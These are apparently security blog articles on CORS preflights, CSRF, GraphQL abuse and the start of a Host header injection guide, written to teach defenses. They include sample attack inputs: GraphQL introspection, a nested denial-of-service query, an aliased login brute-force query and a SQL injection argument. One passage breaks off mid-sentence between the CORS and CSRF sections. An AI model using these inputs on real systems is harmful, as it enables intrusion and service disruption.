Notice that no `Authorization` header and no cookies ride on the preflight. The preflight is a permission question, so it carries no credentials and no body. The server receives it, checks the incoming `Origin` against its configured allowlist, finds `https://app.example.com` on the list, and answers:
```
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, DELETE
Access-Control-Allow-Headers: authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 600
Vary: Origin
```
The browser reads that response and checks three things. The requested method `DELETE` appears in the allowed methods. The requested header `authorization` appears in the allowed headers. Credentials are permitted and the allow-origin names a specific origin rather than the wildcard, which the specification requires when credentials are involved. All three pass, so the browser sends the real request, this time with the `Authorization` header and any cookies attached:
```
DELETE /orders/42 HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Authorization: Bearer ...
```
The server deletes the order and returns a normal response that again carries `Access-Control-Allow-Origin: https://app.example.com` and `Access-Control-Allow-Credentials: true`. Only because those headers are present does the browser hand the response body back to the calling script. Because the server cached the preflight approval for 600 seconds with `Access-Control-Max-Age`, the next delete within that window skips the `OPTIONS` round trip entirely.
A preflight tells the browser whether the real request is allowed to be sent and read from script. It does not authenticate the user and it does not authorize the action on the server. The server must still check the token on the real `DELETE` and confirm the user may delete that order. A passing preflight with a valid token still needs an access-control check on the resource itself, because CORS decides which origins may read a browser response, and it says nothing about who is allowed to perform the action.
## How CORS evolved
Before CORS existed, the same-origin policy was close to absolute for reading responses, and developers reached for awkward workarounds to share data across origins. The most common was JSONP, which abused the fact that a `
```
No interaction beyond visiting the page. For requests that use `GET`, it can be even simpler: an `` tag whose `src` points at the state-changing URL is enough.
## What CSRF can and cannot do
CSRF forces the victim's browser to send a request. It does not let the attacker read the response. The same-origin policy still stops the attacker's page from reading what `bank.example` sends back. This shapes what CSRF is good for.
| Property | CSRF |
|---|---|
| Reads sensitive data | No, the response is invisible to the attacker |
| Performs state-changing actions | Yes, this is the whole point |
| Needs the victim's password | No, it rides an existing session |
| Needs the victim to be logged in | Yes, at the target site |
| Works against bearer-token APIs | Only if the token is sent automatically, like a cookie |
Because CSRF is blind, its value lives entirely in side effects: changing an account email so a password reset can be captured later, transferring funds, adding an attacker's key to an account, changing a delivery address, or toggling a security setting. On MITRE ATT&CK the broader pattern of abusing valid browser sessions relates to techniques around session and web abuse, but CSRF itself is a client-trust problem specific to how cookies are sent.
## Why cookies are the root cause
The reason CSRF exists at all is that cookie authentication is ambient. The browser decides to send the session cookie based on the destination of the request, not on which code initiated it. Any page, anywhere, can cause your browser to make a request to the target, and the cookie tags along.
Bearer tokens sent in an `Authorization` header behave differently. The browser does not attach them automatically. An attacker's page cannot set that header on a cross-site request to another origin, so a pure header-token API is not vulnerable to classic CSRF. The catch is that many single-page apps store tokens in cookies for convenience, which quietly reintroduces the problem.
CSRF makes a victim's browser send a request without reading the reply. Cross-site scripting runs attacker code inside your origin and can read anything the user can. If an attacker has XSS on your site, no CSRF token saves you, because their script runs in your context and can read the token. Fix XSS first, then treat CSRF defense as protection for everything else.
## The defenses that work
Every effective CSRF defense proves one thing: that the state-changing request genuinely came from your own application and not from a third-party page. There are two mainstream ways to prove it.
### Anti-CSRF tokens (synchronizer token pattern)
The server generates a random, unpredictable token, ties it to the user's session, and embeds it in every form:
```
```
When the request comes back, the server checks that the submitted token matches the one bound to the session. An attacker's page cannot read the token (same-origin policy blocks it) and cannot guess it (it is random), so it cannot forge a valid request. This is the strongest and most widely used control. Most web frameworks ship it built in and enabled.
### Double-submit cookie
When you do not want to store per-session tokens server-side, the double-submit pattern offers a stateless option. The server sets a random value in a cookie and the application also sends that same value as a request header or form field. On each request, the server checks the two match. An attacker cannot read or set the cookie value for your origin, so they cannot make the two sides agree. It is weaker than a synchronizer token in some edge cases (subdomain and cookie-scoping issues), so pair it with other controls.
### SameSite cookies
The `SameSite` cookie attribute tells the browser when to send a cookie on cross-site requests. It is the most important modern layer:
| Value | Behavior |
|---|---|
| `Strict` | Cookie is never sent on any cross-site request, including top-level navigation |
| `Lax` | Cookie is sent on top-level navigation (a link click) but not on cross-site POST, images, or iframes |
| `None` | Cookie is always sent cross-site, and must be paired with `Secure` |
Modern browsers default to `Lax` when no attribute is set, which alone blocks a large share of cross-site POST CSRF. Set it explicitly. Use `Strict` for the most sensitive session cookies, accepting that a user following a link from an external site starts logged out.
### Other useful checks
- **Verify the Origin and Referer headers** for state-changing requests and reject those from unexpected sources. This is a solid secondary check because these headers are set by the browser and cannot be forged by an attacker's page.
- **Require re-authentication or a step-up** (password, or a fresh factor) for the highest-value actions, so a single forged request is not enough. See our [two-factor authentication guide](/two-factor-authentication-guide) for how step-up factors fit in.
- **Avoid using GET for anything that changes state.** A state-changing GET can be triggered by an image tag and is far easier to smuggle.
Treat SameSite cookies and anti-CSRF tokens as two layers, not a choice. SameSite is a browser-enforced default that covers a lot of ground but depends on the user's browser behaving and on your cookies being scoped correctly. Tokens are enforced by your own server on every request. Ship both, and a gap in one is covered by the other.
## How to defend against CSRF
1. **Enable your framework's built-in CSRF protection** and confirm it covers every state-changing route. Most modern frameworks include the synchronizer token pattern; the failure mode is a custom endpoint that bypasses it.
2. **Set `SameSite` explicitly on session cookies**, preferring `Lax` as a baseline and `Strict` for high-value sessions.
3. **Never change state on GET.** Reserve GET for reads and require POST, PUT, PATCH, or DELETE for anything with side effects.
4. **Validate Origin and Referer** on state-changing requests as a secondary control and reject mismatches.
5. **Require step-up authentication** for critical actions like changing email, password, or payment details, so no single forged request completes them.
6. **Do not store bearer tokens in cookies** unless you also apply full CSRF protection to them, because that reintroduces the ambient-credential problem the token model was meant to avoid.
Attackers rarely stop at one bug. A forged email change today can seed an account takeover tomorrow, and the delivery often arrives inside a phishing page or a malicious document. Our Exploit Intelligence dashboard tracks which classes of web flaw are actively being weaponized, so you can see where CSRF-adjacent account-takeover chains are showing up in the wild rather than guessing.
## A forged request, step by step
Tracing one attack from setup to effect shows exactly where the trust breaks down.
The attacker starts by studying the target application to learn which request performs a valuable state change. Say the application changes an account's recovery email with a POST to a known path, carrying the new address as a form field, and authenticating the user purely by the session cookie. That last property, cookie-only authentication on a state-changing endpoint, is the precondition the whole attack depends on.
Next the attacker builds a page that reproduces that request. A hidden form on the page targets the application's email-change path, carries the attacker's address in a hidden field, and submits itself the moment the page loads. Nothing on the page looks unusual to a casual visitor, and the form is invisible.
Then the attacker delivers the page to a victim who is logged into the target. The delivery is ordinary: a link in an email, a post on a forum, an advertisement, or a compromised page the victim already trusts. The victim does not need to interact beyond arriving, because the form submits on load.
When the page loads in the victim's browser, the browser fires the request at the target application. Because the request goes to the target's origin, the browser attaches the victim's session cookie automatically, exactly as it does for every legitimate request to that site. The cookie is valid, the session is real, and the application has no built-in way to tell that the victim did not intend this request.
The application processes the email change as though the victim asked for it. The attacker never saw the response and never learned the session cookie, and none of that was necessary. With the recovery email now pointing at the attacker, a password reset can be triggered and captured later, converting a single forged request into a full account takeover. The chain shows why CSRF is dangerous despite being blind: the value is in the side effect, and the side effect can seed the next step.
## Detection signals
CSRF is a design gap rather than a noisy exploit, so much of the defensive value is in reviewing endpoints and watching for the patterns that indicate exposure or attempts.
- **State-changing endpoints without a token check.** The clearest audit signal is any route that performs a side effect while accepting a request that carries no anti-CSRF token and relies only on the session cookie. These are the endpoints an attacker looks for.
- **State changes reachable over GET.** A side effect triggered by a GET request can be fired by an image tag and is the easiest kind of CSRF to deliver. Any state change on GET is a finding on its own.
- **Cross-origin state requests without a matching Origin.** For state-changing requests, an Origin or Referer header pointing at a site other than your own is a strong sign of a forged request, since a legitimate request originates from your application.
- **Bearer tokens stored in cookies.** An API that authenticates with a token but keeps that token in a cookie has quietly reintroduced ambient credentials, which returns the CSRF exposure the token model was meant to remove.
- **Missing or permissive SameSite attributes.** Session cookies set without SameSite, or set to None without a strong reason, widen the window for cross-site delivery and are worth flagging in review.
- **Spikes of identical state-changing requests with mismatched Origins.** In logs, a burst of the same email-change or setting-toggle request arriving with foreign or absent Origin headers can indicate an active campaign.
## The defenses compared
| Defense | How it proves intent | Server state needed | Main limitation |
|---|---|---|---|
| Synchronizer token | Secret per-session token embedded in the form | Yes, token bound to session | Must cover every state-changing route |
| Double-submit cookie | Cookie value must match a request field | No, stateless | Subdomain and cookie-scoping edge cases |
| SameSite cookies | Browser withholds cookie on cross-site requests | No, browser-enforced | Depends on browser and correct cookie scope |
| Origin and Referer check | Header must match the application's origin | No | Some clients strip or omit the header |
| Step-up re-authentication | Fresh credential required for the action | Depends on method | Adds user friction, reserve for high-value actions |
The table shows why these are layers rather than substitutes. The synchronizer token is the strongest single control and is enforced by your own server, while SameSite is a broad browser-enforced default that depends on the client behaving and on correct cookie scoping. Shipping a token check under a SameSite default means a gap in one is covered by the other, which is the posture to aim for.
## Common misconceptions
**"SameSite=Lax by default means CSRF is solved."** Lax blocks a large share of cross-site POST CSRF, and it is genuine progress. It still relies on the user's browser enforcing it and on your cookies being scoped correctly, and it does not cover every case. Treat it as a strong default under an explicit token check, not as a complete replacement.
**"An HTTPS site is safe from CSRF."** HTTPS encrypts the connection and does nothing about who caused the request. A forged request travels over HTTPS just as a legitimate one does, carrying the session cookie all the same. Transport security and CSRF defense are unrelated properties.
**"CSRF lets an attacker read my data."** It does not. The same-origin policy still stops the attacker's page from reading the response, so CSRF is blind. Its value is entirely in the side effect it forces, such as changing a setting or moving money, which is why blind does not mean harmless.
**"Only POST requests are vulnerable."** Any request that changes state is a candidate, and state-changing GET requests are the easiest to exploit because an image tag can trigger them. Keeping GET strictly read-only removes that entire, easy delivery path.
**"A token in a cookie is a CSRF defense."** A token that the browser sends automatically, as it does a cookie, offers no protection, because the attacker's forged request carries it too. The double-submit pattern works only because the application also copies the value into a header or field that a cross-site page cannot set.
## How the defenses developed
CSRF drew serious attention as applications moved real actions, payments, account changes, administrative controls, onto the web while still authenticating every request with an ambient session cookie. The root behaviour, a browser attaching a site's cookie to any request bound for that site regardless of what caused the request, was convenient for keeping users logged in and was exactly what the attack abused.
The first durable answer was the synchronizer token pattern, a secret unpredictable value tied to the session and embedded in every form, checked on each state-changing request. Because a cross-site page cannot read the token or guess it, it cannot forge a valid request. Frameworks absorbed this control and began shipping it enabled by default, which turned CSRF from a common finding into a mostly solved problem for teams that used their framework's protection.
The double-submit cookie followed for cases where server-side token storage was undesirable, trading a little robustness for statelessness. The larger shift came from the browsers themselves with the SameSite cookie attribute, which lets a site tell the browser to withhold a cookie on cross-site requests, and with modern browsers defaulting to Lax when no attribute is set. That default quietly removed a large share of classic CSRF across the web. The current posture combines a browser-enforced SameSite default with a server-enforced token check, so neither the browser nor the server is the single point of failure.
## Frequently asked questions
**Is CSRF still relevant with modern browsers defaulting to SameSite Lax?**
Yes. The Lax default removed a large share of classic cross-site POST CSRF, which is real progress, but it depends on the user's browser enforcing it and on your cookies being scoped correctly, and it does not cover every case. Endpoints that change state still need an explicit anti-CSRF token, with SameSite as a strong default underneath rather than the only control.
**What is the difference between CSRF and XSS?**
CSRF makes a victim's browser send a request without reading the reply, riding an existing session. Cross-site scripting runs attacker code inside your origin and can read anything the user can, including a CSRF token. If an attacker has XSS on your site, no CSRF token protects you, because their script runs in your context. Fix XSS first, then rely on CSRF defense for everything else.
**Are single-page applications and APIs vulnerable to CSRF?**
A pure API that authenticates with a bearer token in an Authorization header is not vulnerable to classic CSRF, because the browser does not attach that header automatically to cross-site requests. The exposure returns the moment the app stores its token in a cookie for convenience, which reintroduces the ambient credential. If you use cookies, apply full CSRF protection.
**Does CSRF work if the victim is not logged in?**
No. CSRF rides an existing authenticated session at the target site. If the victim has no active session, there is no cookie for the browser to attach, and the forged request arrives unauthenticated. The attack depends on the victim being logged in at the moment they load the attacker's page.
**Can I rely on the Referer header alone to stop CSRF?**
It is a useful secondary control, since the browser sets Origin and Referer and a cross-site page cannot forge them, but it is not sufficient alone. Some clients and privacy settings strip or omit the header, which would either weaken the check or break legitimate requests if you reject every missing header. Use it alongside tokens and SameSite, not instead of them.
**Why is changing state on a GET request dangerous?**
A GET request can be triggered simply by loading a resource, for example an image tag whose source points at the state-changing URL. That makes a state-changing GET the easiest possible CSRF to deliver, since it needs no form and no script. Reserving GET for reads and requiring POST, PUT, PATCH, or DELETE for side effects removes that path entirely.
**What is the single most important CSRF defense to get right?**
Enabling your framework's built-in token protection and confirming it covers every state-changing route. Most modern frameworks ship the synchronizer token pattern enabled, and the common failure is a custom endpoint that bypasses it. Pair that with an explicit SameSite setting and read-only GET, and the attack has nothing to grab.
CSRF is old, well understood, and completely preventable. The controls are cheap, they ship in every serious framework, and the only real failure is forgetting to apply them to one endpoint. Turn them on everywhere state changes, set SameSite deliberately, and keep GET read-only, and the attack simply has nothing to grab.
## Related guides
- [SSRF Explained](/ssrf-explained)
- [Session Hijacking Explained](/session-hijacking-explained)
- [JWT Attacks Explained](/jwt-attacks-explained)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
- [XSS Attacks Explained](/xss-attacks-explained)
### Sources
- OWASP: Cross-Site Request Forgery (CSRF) (OWASP): https://owasp.org/www-community/attacks/csrf
- PortSwigger Web Security Academy: CSRF (PortSwigger): https://portswigger.net/web-security/csrf
- OWASP CSRF Prevention Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
---
## GraphQL Attacks: Introspection, Nested Queries & Batching
> How GraphQL gets attacked: exposed introspection, deeply nested query denial of service, batching abuse, and defending with depth and cost limits.
- URL: https://blog.pwnsy.com/graphql-attacks-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: graphql, web-security, api-security, denial-of-service, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- GraphQL gives clients the power to shape their own queries, and that same flexibility is what attackers use to map, overload, and abuse an API.
- Introspection can hand an attacker a full map of your schema, including fields and mutations a client was never meant to find.
- A single deeply nested query can force the server to resolve an enormous result set, turning one request into a denial-of-service event.
- Query batching and aliasing let an attacker send many operations in one request, sidestepping naive per-request rate limits.
### Key Takeaways
- Disable introspection and field suggestions in production, or restrict them to authenticated internal use.
- Enforce a maximum query depth and a query cost or complexity budget so no single request can be arbitrarily expensive.
- Rate limit by cost and by operation, not just by request count, because batching and aliasing multiply work inside one request.
- Apply authorization at the resolver and field level, since a flat schema exposes every type to anyone who can craft the query.
- Persisted or allowlisted queries let you accept only known-good operations in production.
GraphQL flips the usual API contract. Instead of the server deciding what each endpoint returns, the client asks for exactly the fields it wants in a single query. That is a genuine win for front-end teams, and it is also a new attack surface. The same query language that lets a client fetch precisely what it needs lets an attacker probe the schema, ask for something ruinously expensive, or pack many operations into one request.
This guide covers the GraphQL abuse patterns that come up most: introspection exposure, deeply nested query denial of service, and batching. Each has a clean defense rooted in limiting what a single query is allowed to do, and each defense is set out with the attack it answers. The wider API program those controls sit inside is in [API Security Best Practices](/api-security-guide).
## Why GraphQL changes the threat model
A REST API exposes fixed endpoints, each returning a shape the server chose. A GraphQL API exposes a single endpoint and a typed schema, and the client composes the query. Three properties of that model matter for security.
First, the schema is a map of everything the API can do, and the client drives traversal through it. Second, one query can span many types and relationships, so its cost is not obvious from its size. Third, features built for developer convenience, like introspection and batching, are available to anyone who can reach the endpoint unless you turn them off. Attackers use all three.
## Introspection exposure
Introspection is GraphQL's built-in self-documentation. A special query asks the server to describe its own schema: every type, every field, every argument, every mutation. Tools use it to generate documentation and autocomplete. An attacker uses it to skip reconnaissance entirely.
```
{ __schema { types { name fields { name } } } }
```
With introspection open, an attacker downloads the complete schema and immediately sees fields and mutations that the UI never calls: an admin-only mutation, an internal field, a deprecated endpoint still wired up. Even with introspection disabled, some servers leak schema information through field suggestions, where a mistyped field name returns a helpful "did you mean" that confirms real field names one guess at a time.
The defense is to disable introspection in production, disable the suggestion feature, and restrict any schema exploration to authenticated internal environments.
Turning off introspection slows reconnaissance; it does not protect data. A hidden field is still reachable by anyone who guesses or already knows its name. Every sensitive field and mutation still needs its own authorization check at the resolver. Treat introspection control as one layer, never the only one.
## Deeply nested queries and denial of service
GraphQL schemas often contain cyclic relationships. A user has posts, a post has an author, an author has posts, and so on. Because the client controls the query, it can walk that cycle as deep as it likes.
```
{ user { posts { author { posts { author { posts { author { name } } } } } } } }
```
Each level multiplies the work the server must do to resolve the result. A query only a few kilobytes long can demand that the database and resolvers assemble a result set large enough to exhaust memory and CPU, taking the service down for everyone. This is a classic amplification: tiny input, enormous cost. On MITRE ATT&CK it maps to [Endpoint Denial of Service (T1499)](https://attack.mitre.org/techniques/T1499/).
The problem is that request size is a poor proxy for request cost in GraphQL. A short query can be catastrophically expensive, so defenses have to measure the query itself, not the bytes on the wire.
## Batching and aliasing abuse
GraphQL lets a client send multiple operations in one HTTP request, and lets it alias the same field many times within a single query. Both features multiply the work done per request, and both defeat rate limits that only count requests.
Aliasing is the sharper tool. A single query can invoke the same expensive field or mutation hundreds of times under different alias names:
```
{ a1: login(user:"x", pass:"a") { ok } a2: login(user:"x", pass:"b") { ok } ... }
```
To a rate limiter that counts one HTTP request, this looks like a single attempt. To the server, it is hundreds of login attempts, which turns a login mutation into a credential-stuffing engine that walks straight past a per-request throttle. Batched arrays of operations do the same at the transport level.
The lesson is that in GraphQL the meaningful unit is the operation and its cost, not the HTTP request.
## CSRF against GraphQL
Many GraphQL servers accept operations over both POST and GET, and some accept form-encoded bodies for convenience. That convenience opens the door to cross-site request forgery. If a mutation can be triggered by a GET request or a simple form submission, an attacker can host a page that fires the request from the victim's authenticated browser, and a state-changing operation runs without the user's intent.
The fixes are the standard anti-CSRF measures applied to the GraphQL endpoint. Accept mutations only over POST with a JSON content type, which browsers cannot forge cross-origin without a preflight, and require a CSRF token or rely on the SameSite cookie attribute for session cookies. Reject GET requests that attempt to run mutations. See [CSRF Explained](/csrf-explained) for the underlying pattern.
## Injection through GraphQL arguments
GraphQL is a query language for your API, not for your database, so it does not remove the classic injection risks underneath. Every argument a client sends flows into a resolver, and that resolver often builds a database query, a system command, or another API call. If the resolver concatenates the argument into a query string, the endpoint is open to SQL or NoSQL injection just as a REST endpoint would be.
```
{ user(id: "1 OR 1=1") { name email } }
```
The GraphQL layer gives no protection here. Resolvers must use parameterized queries and validate argument types and ranges, the same discipline any backend needs. See [NoSQL Injection Explained](/nosql-injection-explained) for how these payloads take shape against document databases.
## Information disclosure through errors
GraphQL servers are often chatty when something goes wrong. Verbose error messages can leak stack traces, internal field names, database structure, and library versions, all of which help an attacker refine the next query. Combined with field suggestions, error output can reconstruct much of a schema even when introspection is disabled. In production, return generic error messages to clients and keep the detailed diagnostics in server-side logs only.
## Why these flaws are so common
The recurring GraphQL vulnerabilities are not exotic. They come from features that ship enabled for developer convenience and from an assumption carried over from REST that does not hold. Introspection, field suggestions, batching, and verbose errors all make development faster, and all of them are reachable by anyone who can hit the endpoint unless a team deliberately turns them off for production. A schema left in its friendly development posture hands an attacker a map, a hint system, and a work multiplier without any special effort on their part.
The deeper cause is a mental model mismatch. REST trained a generation of developers to think of the endpoint as the unit of security: authorize the endpoint, rate limit the endpoint, and the shape the endpoint returns bounds the cost. GraphQL collapses many endpoints into one flexible query surface, so authorization has to move down to the field, rate limiting has to move to computed cost, and cost has to be measured rather than assumed from request size. Teams that lift REST habits directly onto a GraphQL server inherit gaps at exactly the points where the model changed. The good news is that the fixes are well understood and composable, which is why a short list of controls closes most of the surface.
## A worked example: mapping and abusing a schema
Follow an attacker who reaches an unfamiliar GraphQL endpoint with no documentation. The steps below show how the model's flexibility compounds into real access when the defensive controls are missing.
The first move is reconnaissance, and GraphQL often hands it over for free. The attacker sends an introspection query and receives the full schema: every type, every field, every argument, every mutation. Where a REST API would force guessing at endpoint names, the introspection response names an administrative mutation, an internal field, and a deprecated operation still wired up, none of which the user interface ever calls. If introspection is disabled, the attacker falls back to field suggestions, sending mistyped field names and reading the helpful hints that confirm real names one guess at a time.
With the map in hand, the attacker looks for fields that lack their own authorization. Because the schema is flat and every type is reachable by anyone who can compose a query, a mutation that the front end only ever exposes to admins may run for any authenticated user if the resolver does not check permissions itself. The attacker composes a query that reaches that mutation directly, bypassing the interface that would have hidden it.
Next comes cost. The attacker notices a cyclic relationship in the schema, a user has posts, a post has an author, an author has posts, and writes a short query that walks the cycle many levels deep. A request only a few kilobytes long forces the server to assemble an enormous result set, straining memory and CPU. If there is no depth limit and no cost analysis, that single request degrades the service for everyone.
Finally, the attacker weaponises aliasing. A login mutation that a per-request rate limiter treats as one attempt can be invoked hundreds of times under different alias names inside a single query, turning it into a credential-stuffing engine that walks straight past the throttle. Each stage built on the last: introspection revealed the operation, missing authorization made it reachable, and aliasing multiplied it. The defenses later in this guide close each of those doors.
## Detection signals: spotting GraphQL abuse
Because a GraphQL API exposes one endpoint, the useful signals live in the shape and content of the operations rather than in which URL was hit. Instrument the resolver layer and the gateway to surface these.
- **Introspection queries in production traffic.** Requests containing `__schema` or `__type` against a public endpoint are almost always reconnaissance, since legitimate clients ship with the schema they need and do not ask the server to describe itself.
- **Repeated near-miss field names.** A burst of queries with slightly wrong field names, each drawing a suggestion, is field-name enumeration in progress.
- **Abnormal query depth.** Operations that nest well beyond what any real screen requires, especially through cyclic relationships, point at a resource-exhaustion attempt.
- **Heavy aliasing.** A single operation that aliases the same field or mutation many times is a strong signal of rate-limit evasion or brute forcing, particularly against authentication mutations.
- **Large batched operation arrays.** A single HTTP request carrying a long array of operations multiplies work per request and is worth flagging and capping.
- **High computed query cost.** If you assign a cost to fields, queries whose computed cost sits far above the norm are the clearest single indicator of an expensive-query attack, whether or not they are deep.
The theme is that the meaningful unit in GraphQL is the operation and its computed cost, so detection and rate limiting both belong at that level rather than at the HTTP request.
## Attack summary
| Attack | Abused feature | Impact | Primary defense |
|---|---|---|---|
| Introspection exposure | Schema self-documentation | Full schema disclosure | Disable introspection and suggestions in production |
| Field suggestion leakage | "Did you mean" hints | Field name enumeration | Turn off suggestions on production servers |
| Nested query DoS | Cyclic schema traversal | Resource exhaustion | Depth limit plus cost analysis |
| Batching and aliasing | Multiple ops per request | Rate-limit bypass, brute force | Cost-based limits, cap operations per request |
| Missing field authorization | Flat schema access | Data exposure | Resolver and field-level authorization |
## How to defend a GraphQL API
The controls reinforce each other. Layer them.
1. **Disable introspection and suggestions in production.** Keep them for internal, authenticated environments where developers need them, and turn them off on public endpoints.
2. **Enforce a maximum query depth.** Reject any query that nests beyond a sensible limit for your schema, which kills the cyclic amplification.
3. **Add query cost analysis.** Assign a cost to fields and resolvers, compute the total cost of an incoming query before executing it, and reject anything over a budget. This catches expensive queries that are not deep.
4. **Rate limit by cost, not by request.** Charge each client's budget by the computed cost of their operations, and cap the number of operations and aliases allowed per request so batching cannot multiply work for free.
5. **Authorize at the resolver and field level.** Do not assume the query shape reflects the user's permissions. Check authorization on every sensitive field and mutation, because the schema exposes them all.
6. **Use persisted or allowlisted queries.** In production, accept only a known set of registered queries by identifier, so arbitrary attacker-crafted queries are never executed.
7. **Set timeouts and pagination limits.** Cap execution time and force pagination so no resolver can return an unbounded list.
API and GraphQL vulnerabilities move fast once a working technique is public. Our Exploit Intelligence dashboard tracks live vulnerabilities across API and application components, so you can see which classes are under active pressure and patch accordingly.
## GraphQL and REST: where the risk differs
The abuse patterns above are easier to see against the REST baseline that most teams already understand. The comparison shows why controls REST gave for free have to be rebuilt in GraphQL.
| Concern | REST | GraphQL |
|---|---|---|
| Endpoints | Many fixed endpoints, each a known shape | One endpoint, client composes the query |
| Cost of a request | Roughly bounded by the endpoint | Set by the query, can be huge from a tiny request |
| Reconnaissance | Guess endpoint names | Introspection or field suggestions map the schema |
| Rate limiting | Per request is a fair proxy for work | Per request is defeated by batching and aliasing |
| Authorization | Often per endpoint | Must be per field and per resolver on a flat schema |
| Injection risk | Present in every handler | Present in every resolver, GraphQL adds no protection |
The row that surprises teams most is cost. In REST the endpoint bounds the work, so request count tracks load. In GraphQL a short query can be catastrophically expensive, so request size and request count are both poor proxies for cost, and defenses have to measure the query itself. The injection row is the other trap: the query language sits in front of your API, not your database, so parameterised queries and input validation are still mandatory in every resolver.
## Common misconceptions
**"Disabling introspection secures the schema."** Turning off introspection slows reconnaissance and hides nothing that is actually reachable. A field an attacker already knows or guesses is still callable, and field suggestions can rebuild much of the schema one hint at a time. Every sensitive field and mutation still needs its own authorization check. Treat introspection control as one layer among several.
**"GraphQL protects against injection."** GraphQL is a query language for your API, not for your database. Every argument flows into a resolver that often builds a database query, a system command, or another API call. If a resolver concatenates that argument into a query string, the endpoint is open to SQL or NoSQL injection exactly as a REST handler would be. Parameterised queries and type validation remain mandatory.
**"Our rate limiter handles abuse."** A limiter that counts HTTP requests is blind to batching and aliasing, both of which multiply the work inside a single request. Hundreds of aliased login attempts arrive as one request and pass the throttle untouched. Rate limiting has to charge by computed cost and cap operations and aliases per request to matter.
**"Request size tells us if a query is dangerous."** A few kilobytes of query can force the server to assemble a result set large enough to exhaust memory and CPU, because cyclic traversal multiplies work at every level. Size is a poor proxy for cost, which is why depth limits and cost analysis exist. Measure the query, not the bytes on the wire.
## Frequently asked questions
**Should I disable introspection in production?**
Yes, on public endpoints, and keep it available in internal, authenticated environments where developers need it. Disabling it slows an attacker's reconnaissance. It is one layer and not a substitute for authorization, since a determined attacker can still reach fields they know about and can often reconstruct the schema through field suggestions and verbose errors.
**What is the difference between a depth limit and a cost limit?**
A depth limit rejects queries that nest beyond a set number of levels, which kills the cyclic amplification that deeply nested queries rely on. A cost limit assigns a weight to each field and resolver, computes the total for an incoming query before executing it, and rejects anything over a budget. Depth catches deep queries, and cost catches expensive queries that are shallow but wide, so you want both.
**How does aliasing bypass rate limiting?**
Aliasing lets one query invoke the same field or mutation many times under different names. To a rate limiter that counts one HTTP request, a query with hundreds of aliased login attempts looks like a single attempt, while the server actually processes every one. Charging the client's budget by the computed cost of the operation, and capping the number of aliases and operations per request, closes the gap.
**Are persisted queries worth the effort?**
For production APIs with a known set of client operations, yes. Persisted or allowlisted queries register each permitted operation by identifier, so the server accepts only known-good queries and never executes arbitrary attacker-crafted ones. That single control neutralises introspection abuse, nested-query denial of service, and aliasing at once, because an attacker-crafted query is never on the allowlist, at the cost of a registration step in your build pipeline.
**Does GraphQL need CSRF protection?**
Yes, when it authenticates with cookies. Many servers accept operations over both POST and GET and some accept form-encoded bodies, which lets an attacker fire a state-changing mutation from a victim's authenticated browser. Accept mutations only over POST with a JSON content type, reject GET requests that run mutations, and require a CSRF token or rely on the SameSite cookie attribute.
**Where should authorization live in a GraphQL server?**
At the resolver and field level, which is where GraphQL authorization has to live. The schema is flat, so every type is reachable by anyone who can compose a query, and the query shape does not reflect the user's permissions. Each sensitive field and mutation needs its own check, because disabling introspection or hiding a field from the interface does nothing to stop a crafted query from reaching it. A centralised authorization layer that every resolver consults, rather than ad hoc checks scattered through the code, keeps this consistent as the schema grows and new fields are added. Without it, one forgotten check on a newly added mutation quietly reopens the whole surface.
GraphQL hands power to the client by design, so the server has to reclaim the limits that REST gave it for free. Turn off the reconnaissance features you do not need, measure and cap the cost of every query, rate limit by work rather than by request, and authorize every field. Those controls leave the schema flexible for legitimate clients and closed to the abuse patterns above.
## Related guides
- [API Abuse Explained](/api-abuse-explained)
- [API Security Best Practices](/api-security-guide)
- [NoSQL Injection Explained](/nosql-injection-explained)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
### Sources
- OWASP Cheat Sheet: GraphQL Security (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html
- PortSwigger Web Security Academy: GraphQL API vulnerabilities (PortSwigger): https://portswigger.net/web-security/graphql
- MITRE ATT&CK: Endpoint Denial of Service (T1499) (MITRE): https://attack.mitre.org/techniques/T1499/
---
## Host Header Injection: Reset Poisoning & Cache Attacks
> How attackers abuse the HTTP Host header for password-reset poisoning, cache issues, and routing tricks, why it happens, and how to defend against it.
- URL: https://blog.pwnsy.com/host-header-injection-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: host-header-injection, web-security, owasp, appsec, http
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- Host header injection abuses the fact that the HTTP Host header is attacker-controlled input, yet applications treat it as a trusted source of their own domain name.
- The highest-impact use is password-reset poisoning: the app builds a reset link from the Host header, so the attacker points that link at a server they own.
- The same trust also enables cache poisoning, server-side request routing tricks, and access to virtual hosts the attacker should not reach.
- The fix is to stop deriving your own hostname from the request. Validate the Host header against an allowlist and build absolute URLs from server-side configuration.
### Key Takeaways
- The Host header is user input. Any security or business logic that trusts it inherits an injection point.
- Password-reset poisoning turns a self-service feature into account takeover when the reset URL is built from the request's Host or related headers.
- Forwarding and override headers like X-Forwarded-Host reintroduce the same flaw even when the Host header itself is checked.
- Web cache poisoning can persist a malicious Host-derived response and serve it to many other users.
- Allowlisting valid hosts and building absolute links from configuration, not from the request, removes the class.
Every HTTP request carries a Host header naming the site the client wants. It exists so one server can host many domains and route each request to the right one. That is useful and mundane. The problem is that the client sets this header, and a great deal of application code reads it back as though the application had chosen it.
Host header injection is what happens when that misplaced trust becomes an attack surface. An application that builds links, makes routing decisions, or generates cached responses from the incoming Host header is taking direction from whoever sent the request. In the worst cases, that direction leads to account takeover.
